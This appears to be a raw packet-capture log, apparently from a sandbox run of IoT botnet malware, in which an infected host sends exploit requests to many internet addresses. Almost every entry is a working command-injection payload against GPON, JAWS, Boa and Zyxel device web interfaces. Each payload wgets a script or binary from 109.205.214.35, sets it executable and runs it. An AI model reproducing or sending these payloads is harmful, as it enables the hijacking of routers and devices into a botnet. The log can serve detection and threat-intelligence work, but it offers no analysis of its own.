Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.13	45782	42.55.173.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.673675060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.13	36118	79.14.36.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.673711061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.13	43086	178.13.179.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.673733950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.13	47080	79.73.10.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.673752069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.13	57222	118.210.1.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.673775911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.13	40820	37.38.52.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.673835993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.13	34714	42.151.50.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.673880100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.13	40494	109.241.179.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.673923969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.13	56204	2.56.231.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.673938036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.13	59532	212.197.85.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.673969984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.13	43202	109.32.169.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.674035072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.13	60456	42.172.191.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.674040079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.13	40952	109.236.237.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.674072027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.13	37252	37.252.61.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.674102068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.13	58986	218.60.21.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.795242071 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:34.124165058 CET	168	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>kngx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.13	54018	18.155.227.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.795324087 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:34.144315958 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.13	51282	213.151.50.112	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.839696884 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.13	50426	82.180.133.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.403137922 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.13	43010	213.199.213.25	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.448162079 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:35.059796095 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:36.248965025 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:38.746844053 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:43.603789091 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
